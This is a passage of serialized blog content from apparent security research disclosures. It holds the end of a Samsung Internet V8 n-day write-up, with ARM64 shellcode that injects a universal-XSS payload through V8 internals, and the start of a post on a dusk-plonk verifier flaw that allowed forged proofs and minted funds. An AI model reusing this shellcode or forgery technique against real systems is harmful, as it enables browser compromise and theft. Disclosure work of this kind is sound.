#0xf7a0\n",{"type":23,"tag":134,"props":140766,"children":140767},{"class":136,"line":185},[140768],{"type":23,"tag":134,"props":140769,"children":140770},{},[140771],{"type":28,"value":140772},"movk x1, #0x0071, lsl #16\n",{"type":23,"tag":134,"props":140774,"children":140775},{"class":136,"line":221},[140776],{"type":23,"tag":134,"props":140777,"children":140778},{},[140779],{"type":28,"value":140780},"add x9, x12, x1\n",{"type":23,"tag":134,"props":140782,"children":140783},{"class":136,"line":332},[140784],{"type":23,"tag":134,"props":140785,"children":140786},{},[140787],{"type":28,"value":140788},"movz x1, #0x5ac8\n",{"type":23,"tag":134,"props":140790,"children":140791},{"class":136,"line":438},[140792],{"type":23,"tag":134,"props":140793,"children":140794},{},[140795],{"type":28,"value":140796},"movk x1, #0x054f, lsl #16\n",{"type":23,"tag":134,"props":140798,"children":140799},{"class":136,"line":466},[140800],{"type":23,"tag":134,"props":140801,"children":140802},{},[140803],{"type":28,"value":140804},"add x0, x12, x1\n",{"type":23,"tag":134,"props":140806,"children":140807},{"class":136,"line":479},[140808],{"type":23,"tag":134,"props":140809,"children":140810},{},[140811],{"type":28,"value":140812},"blr x9\n",{"type":23,"tag":134,"props":140814,"children":140815},{"class":136,"line":497},[140816],{"type":23,"tag":134,"props":140817,"children":140818},{},[140819],{"type":28,"value":140820},"// *x0 is isolate pointer\n",{"type":23,"tag":134,"props":140822,"children":140823},{"class":136,"line":518},[140824],{"type":23,"tag":134,"props":140825,"children":140826},{},[140827],{"type":28,"value":140828},"// store isolate ptr to stack\n",{"type":23,"tag":134,"props":140830,"children":140831},{"class":136,"line":527},[140832],{"type":23,"tag":134,"props":140833,"children":140834},{},[140835],{"type":28,"value":140836},"ldr x13, [x0]\n",{"type":23,"tag":134,"props":140838,"children":140839},{"class":136,"line":780},[140840],{"type":23,"tag":134,"props":140841,"children":140842},{},[140843],{"type":28,"value":140844},"str x13, [sp, #-16]!\n",{"type":23,"tag":134,"props":140846,"children":140847},{"class":136,"line":797},[140848],{"type":23,"tag":134,"props":140849,"children":140850},{"emptyLinePlaceholder":15},[140851],{"type":28,"value":865},{"type":23,"tag":134,"props":140853,"children":140854},{"class":136,"line":814},[140855],{"type":23,"tag":134,"props":140856,"children":140857},{},[140858],{"type":28,"value":140859},"// store x10 = v8::String::NewFromUTF8\n",{"type":23,"tag":134,"props":140861,"children":140862},{"class":136,"line":827},[140863],{"type":23,"tag":134,"props":140864,"children":140865},{},[140866],{"type":28,"value":140867},"movz x1, #0x1140\n",{"type":23,"tag":134,"props":140869,"children":140870},{"class":136,"line":836},[140871],{"type":23,"tag":134,"props":140872,"children":140873},{},[140874],{"type":28,"value":140875},"movk x1, #0x0242, lsl #16\n",{"type":23,"tag":134,"props":140877,"children":140878},{"class":136,"line":859},[140879],{"type":23,"tag":134,"props":140880,"children":140881},{},[140882],{"type":28,"value":140883},"sub x10, x12, x1\n",{"type":23,"tag":134,"props":140885,"children":140886},{"class":136,"line":868},[140887],{"type":23,"tag":134,"props":140888,"children":140889},{"emptyLinePlaceholder":15},[140890],{"type":28,"value":865},{"type":23,"tag":134,"props":140892,"children":140893},{"class":136,"line":877},[140894],{"type":23,"tag":134,"props":140895,"children":140896},{},[140897],{"type":28,"value":140898},"// mmap a RW page for our xss payload\n",{"type":23,"tag":134,"props":140900,"children":140901},{"class":136,"line":946},[140902],{"type":23,"tag":134,"props":140903,"children":140904},{},[140905],{"type":28,"value":139249},{"type":23,"tag":134,"props":140907,"children":140908},{"class":136,"line":954},[140909],{"type":23,"tag":134,"props":140910,"children":140911},{},[140912],{"type":28,"value":140913},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":23,"tag":134,"props":140915,"children":140916},{"class":136,"line":984},[140917],{"type":23,"tag":134,"props":140918,"children":140919},{},[140920],{"type":28,"value":140921},"mov x2, #3\n",{"type":23,"tag":134,"props":140923,"children":140924},{"class":136,"line":992},[140925],{"type":23,"tag":134,"props":140926,"children":140927},{},[140928],{"type":28,"value":139272},{"type":23,"tag":134,"props":140930,"children":140931},{"class":136,"line":1024},[140932],{"type":23,"tag":134,"props":140933,"children":140934},{},[140935],{"type":28,"value":139280},{"type":23,"tag":134,"props":140937,"children":140938},{"class":136,"line":1032},[140939],{"type":23,"tag":134,"props":140940,"children":140941},{},[140942],{"type":28,"value":139288},{"type":23,"tag":134,"props":140944,"children":140945},{"class":136,"line":1092},[140946],{"type":23,"tag":134,"props":140947,"children":140948},{},[140949],{"type":28,"value":139296},{"type":23,"tag":134,"props":140951,"children":140952},{"class":136,"line":8508},[140953],{"type":23,"tag":134,"props":140954,"children":140955},{},[140956],{"type":28,"value":139211},{"type":23,"tag":134,"props":140958,"children":140959},{"class":136,"line":8526},[140960],{"type":23,"tag":134,"props":140961,"children":140962},{"emptyLinePlaceholder":15},[140963],{"type":28,"value":865},{"type":23,"tag":134,"props":140965,"children":140966},{"class":136,"line":8571},[140967],{"type":23,"tag":134,"props":140968,"children":140969},{},[140970],{"type":28,"value":140971},"// write our xss payload to mmapped rw page\n",{"type":23,"tag":134,"props":140973,"children":140974},{"class":136,"line":8677},[140975],{"type":23,"tag":134,"props":140976,"children":140977},{},[140978],{"type":28,"value":140979},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":23,"tag":134,"props":140981,"children":140982},{"class":136,"line":22988},[140983],{"type":23,"tag":134,"props":140984,"children":140985},{"emptyLinePlaceholder":15},[140986],{"type":28,"value":865},{"type":23,"tag":134,"props":140988,"children":140989},{"class":136,"line":23023},[140990],{"type":23,"tag":134,"props":140991,"children":140992},{},[140993],{"type":28,"value":140994},"// store x11 = XSS_PAYLOAD string\n",{"type":23,"tag":134,"props":140996,"children":140997},{"class":136,"line":23031},[140998],{"type":23,"tag":134,"props":140999,"children":141000},{},[141001],{"type":28,"value":141002},"mov x11, x0\n",{"type":23,"tag":134,"props":141004,"children":141005},{"class":136,"line":23039},[141006],{"type":23,"tag":134,"props":141007,"children":141008},{"emptyLinePlaceholder":15},[141009],{"type":28,"value":865},{"type":23,"tag":134,"props":141011,"children":141012},{"class":136,"line":23048},[141013],{"type":23,"tag":134,"props":141014,"children":141015},{},[141016],{"type":28,"value":141017},"// pop back isolate pointer\n",{"type":23,"tag":134,"props":141019,"children":141020},{"class":136,"line":23090},[141021],{"type":23,"tag":134,"props":141022,"children":141023},{},[141024],{"type":28,"value":141025},"ldr x13, [sp], #16\n",{"type":23,"tag":134,"props":141027,"children":141028},{"class":136,"line":23123},[141029],{"type":23,"tag":134,"props":141030,"children":141031},{"emptyLinePlaceholder":15},[141032],{"type":28,"value":865},{"type":23,"tag":134,"props":141034,"children":141035},{"class":136,"line":23131},[141036],{"type":23,"tag":134,"props":141037,"children":141038},{},[141039],{"type":28,"value":139332},{"type":23,"tag":134,"props":141041,"children":141042},{"class":136,"line":23139},[141043],{"type":23,"tag":134,"props":141044,"children":141045},{},[141046],{"type":28,"value":141047},"// x13 = isolate *\n",{"type":23,"tag":134,"props":141049,"children":141050},{"class":136,"line":23148},[141051],{"type":23,"tag":134,"props":141052,"children":141053},{},[141054],{"type":28,"value":141055},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":23,"tag":134,"props":141057,"children":141058},{"class":136,"line":23224},[141059],{"type":23,"tag":134,"props":141060,"children":141061},{},[141062],{"type":28,"value":141063},"// x10 = v8::String::NewFromUtf8\n",{"type":23,"tag":134,"props":141065,"children":141066},{"class":136,"line":23257},[141067],{"type":23,"tag":134,"props":141068,"children":141069},{"emptyLinePlaceholder":15},[141070],{"type":28,"value":865},{"type":23,"tag":134,"props":141072,"children":141073},{"class":136,"line":23265},[141074],{"type":23,"tag":134,"props":141075,"children":141076},{},[141077],{"type":28,"value":141078},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":23,"tag":134,"props":141080,"children":141081},{"class":136,"line":23273},[141082],{"type":23,"tag":134,"props":141083,"children":141084},{},[141085],{"type":28,"value":141086},"// arg0 = isolate *\n",{"type":23,"tag":134,"props":141088,"children":141089},{"class":136,"line":23310},[141090],{"type":23,"tag":134,"props":141091,"children":141092},{},[141093],{"type":28,"value":141094},"mov x0, x13\n",{"type":23,"tag":134,"props":141096,"children":141097},{"class":136,"line":23323},[141098],{"type":23,"tag":134,"props":141099,"children":141100},{},[141101],{"type":28,"value":141102},"// arg1 = char *c_str\n",{"type":23,"tag":134,"props":141104,"children":141105},{"class":136,"line":23336},[141106],{"type":23,"tag":134,"props":141107,"children":141108},{},[141109],{"type":28,"value":141110},"mov x1, x11\n",{"type":23,"tag":134,"props":141112,"children":141113},{"class":136,"line":23349},[141114],{"type":23,"tag":134,"props":141115,"children":141116},{},[141117],{"type":28,"value":141118},"// arg2 = type = kNormal\n",{"type":23,"tag":134,"props":141120,"children":141121},{"class":136,"line":23403},[141122],{"type":23,"tag":134,"props":141123,"children":141124},{},[141125],{"type":28,"value":141126},"mov x2, #0\n",{"type":23,"tag":134,"props":141128,"children":141129},{"class":136,"line":23412},[141130],{"type":23,"tag":134,"props":141131,"children":141132},{},[141133],{"type":28,"value":141134},"// arg4 = length\n",{"type":23,"tag":134,"props":141136,"children":141137},{"class":136,"line":31776},[141138],{"type":23,"tag":134,"props":141139,"children":141140},{},[141141],{"type":28,"value":141142},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":23,"tag":134,"props":141144,"children":141145},{"class":136,"line":31797},[141146],{"type":23,"tag":134,"props":141147,"children":141148},{},[141149],{"type":28,"value":141150},"// call NewFromUTF8\n",{"type":23,"tag":134,"props":141152,"children":141153},{"class":136,"line":80463},[141154],{"type":23,"tag":134,"props":141155,"children":141156},{},[141157],{"type":28,"value":141158},"blr x10\n",{"type":23,"tag":134,"props":141160,"children":141161},{"class":136,"line":80476},[141162],{"type":23,"tag":134,"props":141163,"children":141164},{"emptyLinePlaceholder":15},[141165],{"type":28,"value":865},{"type":23,"tag":134,"props":141167,"children":141168},{"class":136,"line":80484},[141169],{"type":23,"tag":134,"props":141170,"children":141171},{},[141172],{"type":28,"value":141173},"// store x14 = String XSS_PAYLOAD\n",{"type":23,"tag":134,"props":141175,"children":141176},{"class":136,"line":80492},[141177],{"type":23,"tag":134,"props":141178,"children":141179},{},[141180],{"type":28,"value":141181},"mov x14, x0\n",{"type":23,"tag":134,"props":141183,"children":141184},{"class":136,"line":80500},[141185],{"type":23,"tag":134,"props":141186,"children":141187},{"emptyLinePlaceholder":15},[141188],{"type":28,"value":865},{"type":23,"tag":134,"props":141190,"children":141191},{"class":136,"line":80540},[141192],{"type":23,"tag":134,"props":141193,"children":141194},{},[141195],{"type":28,"value":141196},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":134,"props":141198,"children":141199},{"class":136,"line":80548},[141200],{"type":23,"tag":134,"props":141201,"children":141202},{},[141203],{"type":28,"value":141204},"movz x1, #0xe44c\n",{"type":23,"tag":134,"props":141206,"children":141207},{"class":136,"line":87735},[141208],{"type":23,"tag":134,"props":141209,"children":141210},{},[141211],{"type":28,"value":141212},"movk x1, #0x014e, lsl #16\n",{"type":23,"tag":134,"props":141214,"children":141215},{"class":136,"line":87743},[141216],{"type":23,"tag":134,"props":141217,"children":141218},{},[141219],{"type":28,"value":141220},"sub x9, x12, x1\n",{"type":23,"tag":134,"props":141222,"children":141223},{"class":136,"line":101089},[141224],{"type":23,"tag":134,"props":141225,"children":141226},{"emptyLinePlaceholder":15},[141227],{"type":28,"value":865},{"type":23,"tag":134,"props":141229,"children":141230},{"class":136,"line":101097},[141231],{"type":23,"tag":134,"props":141232,"children":141233},{},[141234],{"type":28,"value":141235},"// call v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":134,"props":141237,"children":141238},{"class":136,"line":101105},[141239],{"type":23,"tag":134,"props":141240,"children":141241},{},[141242],{"type":28,"value":141086},{"type":23,"tag":134,"props":141244,"children":141245},{"class":136,"line":101113},[141246],{"type":23,"tag":134,"props":141247,"children":141248},{},[141249],{"type":28,"value":141094},{"type":23,"tag":134,"props":141251,"children":141252},{"class":136,"line":101141},[141253],{"type":23,"tag":134,"props":141254,"children":141255},{},[141256],{"type":28,"value":141257},"// arg1 = String *source\n",{"type":23,"tag":134,"props":141259,"children":141260},{"class":136,"line":103912},[141261],{"type":23,"tag":134,"props":141262,"children":141263},{},[141264],{"type":28,"value":141265},"mov x1, x14\n",{"type":23,"tag":134,"props":141267,"children":141268},{"class":136,"line":103920},[141269],{"type":23,"tag":134,"props":141270,"children":141271},{},[141272],{"type":28,"value":141273},"// arg2 = mode = kDefault\n",{"type":23,"tag":134,"props":141275,"children":141277},{"class":136,"line":141276},69,[141278],{"type":23,"tag":134,"props":141279,"children":141280},{},[141281],{"type":28,"value":141126},{"type":23,"tag":134,"props":141283,"children":141285},{"class":136,"line":141284},70,[141286],{"type":23,"tag":134,"props":141287,"children":141288},{},[141289],{"type":28,"value":141290},"// arg3 = repl_mode = kYes\n",{"type":23,"tag":134,"props":141292,"children":141294},{"class":136,"line":141293},71,[141295],{"type":23,"tag":134,"props":141296,"children":141297},{},[141298],{"type":28,"value":141299},"mov x3, #0\n",{"type":23,"tag":134,"props":141301,"children":141303},{"class":136,"line":141302},72,[141304],{"type":23,"tag":134,"props":141305,"children":141306},{"emptyLinePlaceholder":15},[141307],{"type":28,"value":865},{"type":23,"tag":134,"props":141309,"children":141311},{"class":136,"line":141310},73,[141312],{"type":23,"tag":134,"props":141313,"children":141314},{},[141315],{"type":28,"value":140812},{"type":23,"tag":9072,"props":141317,"children":141319},{"id":141318},"uxss-demo",[141320],{"type":28,"value":141321},"UXSS Demo",{"type":23,"tag":24,"props":141323,"children":141324},{},[141325,141327,141333],{"type":28,"value":141326},"Below is a demo that executes the following UXSS payload: ",{"type":23,"tag":92,"props":141328,"children":141330},{"className":141329},[],[141331],{"type":28,"value":141332},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":28,"value":720},{"type":23,"tag":131370,"props":141335,"children":141338},{"className":141336,"controls":15},[141337],"blog-video-responsive",[141339,141341,141345],{"type":28,"value":141340},"\n  ",{"type":23,"tag":140576,"props":141342,"children":141344},{"src":141343,"type":131368},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":28,"value":141346},"\n  Your browser does not support the video tag.\n",{"type":23,"tag":61,"props":141348,"children":141349},{"id":28425},[141350],{"type":28,"value":18423},{"type":23,"tag":24,"props":141352,"children":141353},{},[141354],{"type":28,"value":141355},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":23,"tag":24,"props":141357,"children":141358},{},[141359],{"type":28,"value":141360},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":23,"tag":2575,"props":141362,"children":141363},{},[141364],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":141366},[141367,141371,141374,141384],{"id":28508,"depth":147,"text":28511,"children":141368},[141369,141370],{"id":131504,"depth":185,"text":131507},{"id":131587,"depth":185,"text":131590},{"id":131620,"depth":147,"text":131623,"children":141372},[141373],{"id":131761,"depth":185,"text":131615},{"id":131905,"depth":147,"text":131908,"children":141375},[141376,141377,141378,141379,141380,141381,141382,141383],{"id":131911,"depth":185,"text":131914},{"id":132368,"depth":185,"text":132371},{"id":132551,"depth":185,"text":132554},{"id":132662,"depth":185,"text":132665},{"id":132939,"depth":185,"text":132942},{"id":135649,"depth":185,"text":135652},{"id":138930,"depth":185,"text":138933},{"id":141318,"depth":185,"text":141321},{"id":28425,"depth":147,"text":18423},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":141389,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":141390,"description":141391,"date":141392,"author":141393,"image":141394,"isFeatured":15,"onBlogPage":15,"tags":141396,"body":141399,"_type":2586,"_id":146663,"_source":2588,"_file":146664,"_stem":146665,"_extension":2591},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[107350,107351],{"src":141395,"width":96780,"height":13091},"/posts/dusk-commitment-issues/title.png",[141397,141398],"dusk","plonk",{"type":20,"children":141400,"toc":146643},[141401,141407,141448,141460,141466,141480,141485,141491,141782,141786,142058,142288,142294,142979,142983,143478,143486,143492,143511,143516,143522,143747,143786,143797,143803,143814,144522,144527,144530,144536,144589,144624,144656,144661,144665,144668,144674,144685,144698,144729,144796,144804,144826,144839,145266,145289,145294,145297,145302,145329,145425,145436,145483,145521,145532,145870,145887,145895,145898,145904,145909,145943,145951,146032,146035,146041,146055,146073,146078,146118,146126,146147,146150,146156,146161,146226,146240,146243,146249,146289,146300,146305,146310,146316,146330,146411,146432,146459,146462,146468,146482,146487,146492,146497,146632,146638],{"type":23,"tag":34870,"props":141402,"children":141404},{"id":141403},"commitment-issues-unverified-evaluations-in-dusks-plonk",[141405],{"type":28,"value":141406},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":23,"tag":24,"props":141408,"children":141409},{},[141410,141412,141419,141421,141428,141430,141437,141439,141446],{"type":28,"value":141411},"We found a critical soundness vulnerability in ",{"type":23,"tag":31,"props":141413,"children":141416},{"href":141414,"rel":141415},"https://github.com/dusk-network/plonk/",[35],[141417],{"type":28,"value":141418},"dusk-plonk",{"type":28,"value":141420},", the PLONK implementation powering ",{"type":23,"tag":31,"props":141422,"children":141425},{"href":141423,"rel":141424},"https://dusk.network/",[35],[141426],{"type":28,"value":141427},"Dusk Network's",{"type":28,"value":141429}," ~$60M ",{"type":23,"tag":31,"props":141431,"children":141434},{"href":141432,"rel":141433},"https://www.coingecko.com/en/coins/dusk",[35],[141435],{"type":28,"value":141436},"market cap",{"type":28,"value":141438},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":23,"tag":31,"props":141440,"children":141443},{"href":141441,"rel":141442},"https://github.com/dusk-network/rusk",[35],[141444],{"type":28,"value":141445},"Rusk",{"type":28,"value":141447}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":23,"tag":24,"props":141449,"children":141450},{},[141451,141453,141458],{"type":28,"value":141452},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":23,"tag":2532,"props":141454,"children":141455},{},[141456],{"type":28,"value":141457},"without ever validating them against the trusted commitments in the verifier key.",{"type":28,"value":141459}," The prover can set them to whatever values make the equation pass.",{"type":23,"tag":61,"props":141461,"children":141463},{"id":141462},"how-plonk-works-briefly",[141464],{"type":28,"value":141465},"How PLONK works (briefly)",{"type":23,"tag":24,"props":141467,"children":141468},{},[141469,141471,141478],{"type":28,"value":141470},"For a rigorous treatment see the ",{"type":23,"tag":31,"props":141472,"children":141475},{"href":141473,"rel":141474},"https://eprint.iacr.org/2019/953",[35],[141476],{"type":28,"value":141477},"original paper",{"type":28,"value":141479},"; what follows covers only the parts needed to understand the bug.",{"type":23,"tag":24,"props":141481,"children":141482},{},[141483],{"type":28,"value":141484},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":23,"tag":9072,"props":141486,"children":141488},{"id":141487},"arithmetic-circuits-and-constraints",[141489],{"type":28,"value":141490},"Arithmetic circuits and constraints",{"type":23,"tag":24,"props":141492,"children":141493},{},[141494,141496,141545,141547,141696,141698,141781],{"type":28,"value":141495},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":23,"tag":92,"props":141497,"children":141499},{"className":141498},[1183,1184],[141500],{"type":23,"tag":134,"props":141501,"children":141503},{"className":141502},[1189],[141504],{"type":23,"tag":134,"props":141505,"children":141507},{"className":141506,"ariaHidden":1195},[1194],[141508],{"type":23,"tag":134,"props":141509,"children":141511},{"className":141510},[1200],[141512,141516,141521,141526,141531,141535,141540],{"type":23,"tag":134,"props":141513,"children":141515},{"className":141514,"style":1313},[1205],[],{"type":23,"tag":134,"props":141517,"children":141519},{"className":141518},[21195],[141520],{"type":28,"value":272},{"type":23,"tag":134,"props":141522,"children":141524},{"className":141523},[1211,21066],[141525],{"type":28,"value":18752},{"type":23,"tag":134,"props":141527,"children":141529},{"className":141528},[1324],[141530],{"type":28,"value":1327},{"type":23,"tag":134,"props":141532,"children":141534},{"className":141533,"style":1331},[1292],[],{"type":23,"tag":134,"props":141536,"children":141538},{"className":141537,"style":93045},[1211,21066],[141539],{"type":28,"value":282},{"type":23,"tag":134,"props":141541,"children":141543},{"className":141542},[21217],[141544],{"type":28,"value":296},{"type":28,"value":141546}," on an elliptic curve, by e.g proving that ",{"type":23,"tag":92,"props":141548,"children":141550},{"className":141549},[1183,1184],[141551],{"type":23,"tag":134,"props":141552,"children":141554},{"className":141553},[1189],[141555],{"type":23,"tag":134,"props":141556,"children":141558},{"className":141557,"ariaHidden":1195},[1194],[141559,141621,141683],{"type":23,"tag":134,"props":141560,"children":141562},{"className":141561},[1200],[141563,141567,141608,141612,141617],{"type":23,"tag":134,"props":141564,"children":141566},{"className":141565,"style":122896},[1205],[],{"type":23,"tag":134,"props":141568,"children":141570},{"className":141569},[1211],[141571,141576],{"type":23,"tag":134,"props":141572,"children":141574},{"className":141573,"style":93045},[1211,21066],[141575],{"type":28,"value":282},{"type":23,"tag":134,"props":141577,"children":141579},{"className":141578},[1228],[141580],{"type":23,"tag":134,"props":141581,"children":141583},{"className":141582},[1233],[141584],{"type":23,"tag":134,"props":141585,"children":141587},{"className":141586},[1238],[141588],{"type":23,"tag":134,"props":141589,"children":141591},{"className":141590,"style":1206},[1243],[141592],{"type":23,"tag":134,"props":141593,"children":141594},{"style":1247},[141595,141599],{"type":23,"tag":134,"props":141596,"children":141598},{"className":141597,"style":1253},[1252],[],{"type":23,"tag":134,"props":141600,"children":141602},{"className":141601},[1258,1259,1260,1261],[141603],{"type":23,"tag":134,"props":141604,"children":141606},{"className":141605},[1211,1261],[141607],{"type":28,"value":291},{"type":23,"tag":134,"props":141609,"children":141611},{"className":141610,"style":1390},[1292],[],{"type":23,"tag":134,"props":141613,"children":141615},{"className":141614},[1395],[141616],{"type":28,"value":257},{"type":23,"tag":134,"props":141618,"children":141620},{"className":141619,"style":1390},[1292],[],{"type":23,"tag":134,"props":141622,"children":141624},{"className":141623},[1200],[141625,141629,141670,141674,141679],{"type":23,"tag":134,"props":141626,"children":141628},{"className":141627,"style":122771},[1205],[],{"type":23,"tag":134,"props":141630,"children":141632},{"className":141631},[1211],[141633,141638],{"type":23,"tag":134,"props":141634,"children":141636},{"className":141635},[1211,21066],[141637],{"type":28,"value":18752},{"type":23,"tag":134,"props":141639,"children":141641},{"className":141640},[1228],[141642],{"type":23,"tag":134,"props":141643,"children":141645},{"className":141644},[1233],[141646],{"type":23,"tag":134,"props":141647,"children":141649},{"className":141648},[1238],[141650],{"type":23,"tag":134,"props":141651,"children":141653},{"className":141652,"style":1206},[1243],[141654],{"type":23,"tag":134,"props":141655,"children":141656},{"style":1247},[141657,141661],{"type":23,"tag":134,"props":141658,"children":141660},{"className":141659,"style":1253},[1252],[],{"type":23,"tag":134,"props":141662,"children":141664},{"className":141663},[1258,1259,1260,1261],[141665],{"type":23,"tag":134,"props":141666,"children":141668},{"className":141667},[1211,1261],[141669],{"type":28,"value":16768},{"type":23,"tag":134,"props":141671,"children":141673},{"className":141672,"style":1293},[1292],[],{"type":23,"tag":134,"props":141675,"children":141677},{"className":141676},[1298],[141678],{"type":28,"value":1586},{"type":23,"tag":134,"props":141680,"children":141682},{"className":141681,"style":1293},[1292],[],{"type":23,"tag":134,"props":141684,"children":141686},{"className":141685},[1200],[141687,141691],{"type":23,"tag":134,"props":141688,"children":141690},{"className":141689,"style":93590},[1205],[],{"type":23,"tag":134,"props":141692,"children":141694},{"className":141693},[1211],[141695],{"type":28,"value":54177},{"type":28,"value":141697},", here in ",{"type":23,"tag":92,"props":141699,"children":141701},{"className":141700},[1183,1184],[141702],{"type":23,"tag":134,"props":141703,"children":141705},{"className":141704},[1189],[141706],{"type":23,"tag":134,"props":141707,"children":141709},{"className":141708,"ariaHidden":1195},[1194],[141710],{"type":23,"tag":134,"props":141711,"children":141713},{"className":141712},[1200],[141714,141719],{"type":23,"tag":134,"props":141715,"children":141718},{"className":141716,"style":141717},[1205],"height:0.8389em;vertical-align:-0.15em;",[],{"type":23,"tag":134,"props":141720,"children":141722},{"className":141721},[1211],[141723,141728],{"type":23,"tag":134,"props":141724,"children":141726},{"className":141725},[1211,121334],[141727],{"type":28,"value":121337},{"type":23,"tag":134,"props":141729,"children":141731},{"className":141730},[1228],[141732],{"type":23,"tag":134,"props":141733,"children":141735},{"className":141734},[1233,21120],[141736,141770],{"type":23,"tag":134,"props":141737,"children":141739},{"className":141738},[1238],[141740,141765],{"type":23,"tag":134,"props":141741,"children":141743},{"className":141742,"style":92611},[1243],[141744],{"type":23,"tag":134,"props":141745,"children":141746},{"style":92615},[141747,141751],{"type":23,"tag":134,"props":141748,"children":141750},{"className":141749,"style":1253},[1252],[],{"type":23,"tag":134,"props":141752,"children":141754},{"className":141753},[1258,1259,1260,1261],[141755],{"type":23,"tag":134,"props":141756,"children":141758},{"className":141757},[1211,1261],[141759],{"type":23,"tag":134,"props":141760,"children":141762},{"className":141761},[1211,1261],[141763],{"type":28,"value":141764},"37",{"type":23,"tag":134,"props":141766,"children":141768},{"className":141767},[21223],[141769],{"type":28,"value":21226},{"type":23,"tag":134,"props":141771,"children":141773},{"className":141772},[1238],[141774],{"type":23,"tag":134,"props":141775,"children":141777},{"className":141776,"style":92642},[1243],[141778],{"type":23,"tag":134,"props":141779,"children":141780},{},[],{"type":28,"value":720},{"type":23,"tag":141783,"props":141784,"children":141785},"arithmetic-circuit-widget",{},[],{"type":23,"tag":24,"props":141787,"children":141788},{},[141789,141791,141817,141819,141898,141900,141977,141979,142056],{"type":28,"value":141790},"Each gate ",{"type":23,"tag":92,"props":141792,"children":141794},{"className":141793},[1183,1184],[141795],{"type":23,"tag":134,"props":141796,"children":141798},{"className":141797},[1189],[141799],{"type":23,"tag":134,"props":141800,"children":141802},{"className":141801,"ariaHidden":1195},[1194],[141803],{"type":23,"tag":134,"props":141804,"children":141806},{"className":141805},[1200],[141807,141812],{"type":23,"tag":134,"props":141808,"children":141811},{"className":141809,"style":141810},[1205],"height:0.6595em;",[],{"type":23,"tag":134,"props":141813,"children":141815},{"className":141814},[1211,21066],[141816],{"type":28,"value":929},{"type":28,"value":141818}," has a left input ",{"type":23,"tag":92,"props":141820,"children":141822},{"className":141821},[1183,1184],[141823],{"type":23,"tag":134,"props":141824,"children":141826},{"className":141825},[1189],[141827],{"type":23,"tag":134,"props":141828,"children":141830},{"className":141829,"ariaHidden":1195},[1194],[141831],{"type":23,"tag":134,"props":141832,"children":141834},{"className":141833},[1200],[141835,141840],{"type":23,"tag":134,"props":141836,"children":141839},{"className":141837,"style":141838},[1205],"height:0.8444em;vertical-align:-0.15em;",[],{"type":23,"tag":134,"props":141841,"children":141843},{"className":141842},[1211],[141844,141849],{"type":23,"tag":134,"props":141845,"children":141847},{"className":141846,"style":92571},[1211,21066],[141848],{"type":28,"value":92574},{"type":23,"tag":134,"props":141850,"children":141852},{"className":141851},[1228],[141853],{"type":23,"tag":134,"props":141854,"children":141856},{"className":141855},[1233,21120],[141857,141887],{"type":23,"tag":134,"props":141858,"children":141860},{"className":141859},[1238],[141861,141882],{"type":23,"tag":134,"props":141862,"children":141864},{"className":141863,"style":93088},[1243],[141865],{"type":23,"tag":134,"props":141866,"children":141868},{"style":141867},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[141869,141873],{"type":23,"tag":134,"props":141870,"children":141872},{"className":141871,"style":1253},[1252],[],{"type":23,"tag":134,"props":141874,"children":141876},{"className":141875},[1258,1259,1260,1261],[141877],{"type":23,"tag":134,"props":141878,"children":141880},{"className":141879},[1211,21066,1261],[141881],{"type":28,"value":929},{"type":23,"tag":134,"props":141883,"children":141885},{"className":141884},[21223],[141886],{"type":28,"value":21226},{"type":23,"tag":134,"props":141888,"children":141890},{"className":141889},[1238],[141891],{"type":23,"tag":134,"props":141892,"children":141894},{"className":141893,"style":92642},[1243],[141895],{"type":23,"tag":134,"props":141896,"children":141897},{},[],{"type":28,"value":141899},", right input 